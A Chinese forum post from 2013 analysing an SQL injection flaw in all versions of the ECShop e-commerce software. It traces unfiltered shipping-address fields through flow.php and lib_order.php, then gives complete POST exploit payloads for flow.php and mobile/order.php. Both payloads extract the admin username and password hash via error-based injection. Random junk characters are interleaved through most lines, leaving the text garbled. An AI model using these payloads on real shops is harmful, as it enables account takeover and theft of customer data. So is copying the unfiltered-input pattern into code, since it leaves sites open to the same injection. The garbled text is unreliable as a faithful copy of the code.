找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2102|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
' z. e( J$ ?, T3 v
4 {3 N* S+ Q5 J! X% ]: h    漏洞关键文件:
" w" X7 o( n$ t
- O0 S, A4 U' [; Z    /includes/lib_order.php1 m# A2 g8 Z# H% A* D
, [5 j1 y7 N  p* z5 k  i# {
    关键函数:
" t7 N6 f6 c4 K: N( i8 ?3 n) B0 S
1 D6 q' b, o  U! M& y7 e

: z5 D' N; [8 V, H6 ?01     function available_shipping_list($region_id_list) & I, x8 g' S2 q9 u5 Y& y8 E, d

+ T8 q4 F; H( F02 { # h: B' J! y2 u0 o

! Z9 }* {- ^+ b! @9 D" r3 v/ Z03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . 1 Z* X3 Q% w; p! t: y

9 w0 X' V1 Q4 k) g: R04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
  k  [9 J5 w7 d0 Z$ H7 E; I, N5 \
! L1 ^# d% t8 F! W05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . % q$ f+ `' P% y, t$ K
1 D8 W7 [0 D& P( ?# |  S& p) g
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . $ K) l% p$ A( X0 |
! o/ G* f+ E1 i3 x; S; j
07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. ( y. D# K3 R2 B/ J

! t) k; {5 r9 B# H6 p08             'WHERE r.region_id ' . db_create_in($region_id_list) . ( l. Z# ~" Z0 E9 y3 r2 e
5 q3 F+ [: t' {/ z2 Z
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; ' f  {. ~9 f$ T$ U3 Q! I( Q2 G

5 J9 _; Z) f) I  H6 J6 c10   
6 o$ R  v+ J' [# n; B  {# l
' S) x3 @! V* }1 s& P. C11     return $GLOBALS['db']->getAll($sql); % L* _% p( ~3 p* N" b  j$ M
" s2 c, J& t' m( F# F+ q
12 } 9 j5 d3 t9 i  @( G- r9 z( ]  @8 k

  U/ b9 g9 P& R" b/ Q显然对传入的参数没有任何过滤就带入了查询语句。
& O% R) J' }: O) P1 J" { + p. M% ?& Q" J7 F
下面我们追踪这个函数在flow.php中:- A) a/ X+ w9 {- ^. K' j" P
第531行:   ' d5 t+ O3 d, @1 a/ a5 r* Z3 j. a

6 n8 ]+ n0 K8 V# X9 ?+ D& z- d! V1 $shipping_list     = available_shipping_list($region);
$ ]: j3 V4 }/ {! c/ R! A2 b; I7 E$ a! r

$ i( |& w; g6 E" ~* y% i( ~' l) \( B9 C- W
% }) J- d- ?: [( ]5 G: X! M
$ K* Y) F$ Y* U( P: H
再对传入变量进行追踪:
( _. m2 A  i/ L' v
, i1 G+ |; X" A  O$ l第530行:    4 q/ M2 ~: l/ i# B5 h4 w$ {

$ P  `7 n( H9 [" [8 p1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
- T1 ?  o1 R9 }2 j- k
/ W- ~  b1 |$ f5 H1 x7 ? ) k* q( J8 T' S6 s8 J' p
# r3 P. M, l( T: n

- h# |6 z- X3 O- g' J6 V2 E6 O3 d* S3 [5 y( ^3 q% p
第473行:        & ~# Y% J7 y: \5 x

& }; M: K. w2 K5 D1 $consignee = get_consignee($_SESSION['user_id']); 5 s$ p9 @- F$ L  G
8 |5 f( T( Z; E3 F4 d
到了一个关键函数:0 `$ E3 f. f# x9 g! \' b' }

/ I# c1 }, k& |# A2 F" z& L6 p. h/includes/lib_order.php
* P; p: M6 O+ W0 P8 I& l8 k$ I9 M- o2 `3 H9 _% v. A0 J4 @& u. w. k
$ T6 [- E2 Z8 B* o% N
! t  ^, f7 N& ?. Y" ^

+ l% P. Z2 B( X- _/ V; v! t8 v& w. v8 a8 C$ e  A
01 function get_consignee($user_id) # a$ N& H. {4 |
# A3 ^3 `6 T$ D. g
02 { % f: E/ J" D. F, g( F' Q
( Z* f9 V) k; x+ T2 n& v0 |# T
03     if (isset($_SESSION['flow_consignee']))
( C: x- u; k& ]# C+ M$ U  z: q" V3 S: ?- n5 ^" q
04     { % H( X1 ]" L( E4 R/ Q2 k

. L4 K( [6 L& n& }) y+ J) [$ w05         /* 如果存在session,则直接返回session中的收货人信息 */ , ]- [3 }$ `/ W+ [' x7 R/ V; \7 B
3 E2 l/ R% r. X$ }; F
06   
5 a  H* p  s/ o! Y) h! x
9 [1 u) b) W) N* U; |* l% F4 n07         return $_SESSION['flow_consignee'];
* {! z5 d5 ~9 V) |' S) R5 S! [/ Z# c8 E  o9 \7 H
08     }
' J: k& h, F) r) t# E
7 O: g) A7 Z" r: k% q09     else   E' }2 L% b  \4 H% c" a9 E
+ |1 d. X; U" n* ?, r/ x8 z
10     {
7 Z/ {! Z; e( f$ h" m0 a  X( E1 ]* J$ g% ]. M9 h% L
11         /* 如果不存在,则取得用户的默认收货人信息 */ # X9 q( d4 ?9 V, G
8 G+ [' C, I1 [' q$ m! ?
12         $arr = array(); 6 B. O6 r4 l9 Y( G) G& \+ _
- F. d9 c2 K" o8 C7 ^
13   
( C1 W& [- \  ]6 B4 \% e
+ S' W: P4 V: d% ], D14         if ($user_id > 0)
' s, S3 d# v- r  s6 g* c! d
5 Z8 ~8 A/ Z4 o6 m: S7 ^15         {
. |0 _* A! E- J" |! |3 \4 E$ [& e
" c; |7 ]3 H$ t8 w8 e- X# ?16             /* 取默认地址 */
0 ]- W1 I7 u) x% k# w6 w# b- \$ _1 @0 v: g
17             $sql = "SELECT ua.*".
! D' A: K, |3 H2 S) E- e
. c8 o7 p) [* a) `* q. o0 i. \; }( L18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
3 J- d: p( h2 D+ A" T* ?! j
1 _: b2 Y8 e. t0 U2 v) U19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
; T+ t# n0 ]$ r; V4 l; i! R. B% l1 p5 O% C, N* P% H7 q
20   ) T- |: i& b" r" ^, T- o5 \- N, O

: {7 N$ m: v! R+ G# o1 q; A21             $arr = $GLOBALS['db']->getRow($sql); ; A0 y( U. A7 n7 E! T

: Y0 s# f, ~% A  [& l8 Y9 b22         } 1 n* I- _0 Z4 n

# a/ B! [( x! t& S4 w/ J23   3 M3 w: s/ A' M# P

# m) X8 R& ~7 b) Y24         return $arr;
) D0 u, W/ E; i. H
: x+ ]! G7 x+ n( Z+ m% t25     } 0 w& l. p7 O& z( Q# t* ~9 [

+ ]) ]. c- S; G7 m26 }   M4 f- o# R) Z$ N& b1 o& h; b) @
. U0 p5 i! Z% [! K
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
3 T* _2 L; G+ d) t
1 F7 P9 F, ~, G+ Q7 t5 i5 H 8 y- e0 o1 V. t2 U9 a
" X, O9 P& M1 g2 y/ |0 {3 c- M
关键点:
2 Z: Q6 V8 G+ V* O# A/ U1 X/ e
7 T" m( Y( I% `0 @( L; q& d第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);* G. f. y& A: D

, w- X/ F3 v$ Q5 i$ }$ [. o这里对传入参数反转义存入$_SESSION中。8 Q/ Q, s( }4 H* J4 T% [7 ]
- m7 R0 b0 V; s- O. f

2 `; p: L( T8 O0 B( G! B
' F8 c4 i: R$ i6 G3 s然后看下:
# g+ a, J$ @2 S  _; c1 h: f0 e- h' [0 {

) E% \7 T6 ^0 U$ ^0 B5 Q- {6 g( y
    : {+ k8 s' S: m. k

5 ~' Y! ?1 n; S; [$ y0 V" V! `01 $consignee = array(
: ]3 v8 S7 M* J
- k- S8 y0 z% a5 v1 D0 `02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
# u, Z" b' ~* R; {# l$ i" E5 Z3 p" G. H  s% N4 S
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), * G2 k6 p! g# j$ U! F' I

- i! a! o5 F7 {- `04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
. F" @5 i4 f5 [
0 h1 @8 j7 Y3 x6 U$ s2 }8 s! U+ J! C05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
3 _: d& I* A  H& f$ q7 C$ g3 p; \0 S- X3 v% Y
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
: Q: J9 R8 J7 e0 J! s  l# ]) [& V. a
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], . A1 J4 M# }1 M. c' l

* y3 f8 Q' q! \08         'email'         => empty($_POST['email'])      ? '' _POST['email'], ! j( B: B8 S; O

4 U$ \+ J9 s5 n" Q5 l09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
1 |( k7 ~6 l% H9 L
5 z6 e3 _5 _- C- B8 m& n. a: ^10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), & B" |2 y+ b4 U+ k$ ^6 m: F" K

2 V- x" e3 N. l! t11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
9 x. D0 n) S; u, D: C$ X$ p+ c& W% x
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
! ~' k) K7 ?9 k9 l. x+ y- p
1 V2 }3 B  z( L8 w13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], . s5 u$ k! G+ I. b6 L5 R
; l5 E; t/ @# \8 P* \
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
6 m- _. j- G: \) P  u1 }2 q5 }2 D/ B# n' Y
15     ); " ?  V* T) p0 m2 p# V" u/ n, m# S9 ~

. Y9 s+ `. i# D好了注入就这样出现了。4 O( p* Y' K7 s2 E
1 P* g; k4 K, t9 @
==================0 w0 g7 \, E8 Y  k% O

$ o0 O* n. z! [6 A+ C5 F注入测试:4 ~$ @8 q/ _) e' }
" L7 y3 [6 \3 F1 d' ~8 P
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
' N7 I. s! ~2 V
+ @5 Z6 h# m) }  ?, m" c测试程序:ECShop_V2.7.3_UTF8_release1106' Y' m; n% Y, H5 c8 E* m  @

' f/ p5 T$ x4 \# a4 s
) N3 E( m+ ]  [: R' |' x5 o' B; s. `9 H- K& V6 ]
1.首先需要点击一个商品加入购物车1 b0 g+ U5 V, @( h
2 G7 L3 {, {. z
2.注册一个会员帐号
: |- C; ?4 }! B$ ^! n% ?; L- K5 p$ e1 t9 y3 X$ n9 `
3.post提交数据. e, T( t# G0 i; F8 Z. r

1 r9 Y( ^  z+ p  S( ^+ e! I / ?$ E8 w! {2 m' k  t: B0 D

" t- E( i0 G' o0 h0 S; s1 http://127.0.0.1/ecshop/flow.php
( a6 Y$ _: B% b' q& g$ G( A  k$ b$ X8 S* G, x. L
2   
2 U6 W7 ?% q" M2 ~& e
2 @% a. I( {8 v1 m2 K. Z" W( p. C3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= - m. c9 l0 A8 D4 Y0 w8 r. h
举一反三,我们根据这个漏洞我们可以继续深入挖掘:! r( i& O' U' F. A$ G9 l
7 Q, {9 [( u% j4 c' _
我们搜寻关键函数function available_shipping_list(); }6 _0 u+ z. P2 u

1 y& k8 Q, Y! |( M- `6 }& \在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
# ]9 f, t9 f. B6 l. \8 X! [' A! A8 {2 Q+ W+ [
利用exp:
) \/ P5 e2 Z3 r, o6 {' F5 V8 y9 O1 Y$ ?0 `: v) T6 r# [) F
1.点击一个商品,点击购买商标
2 D, `) }7 c3 k
. R# j0 B4 t$ {; E. J5 x2.登录会员帐号" x! @# i: S# k. l1 J; f. g( w

/ ^! W! U! B* q) D# u/ M- j& x1 @3.post提交:
2 `$ }! ]; G4 j+ O3 H  O% x: c6 t4 @% K; P$ D2 S/ Q4 C: o, \
http://127.0.0.1/ecshop/mobile/order.php
+ J3 t' K# l6 N% P+ d6 v, a! c" G9 E8 G: ^! O" M5 ~
# m6 [4 R3 k# \  s' N- ]1 c
. a2 }- l% |$ |5 N& p* f5 R8 z
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
; l' |* K. N" H3 X) `& _& w. g4 L! m. O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表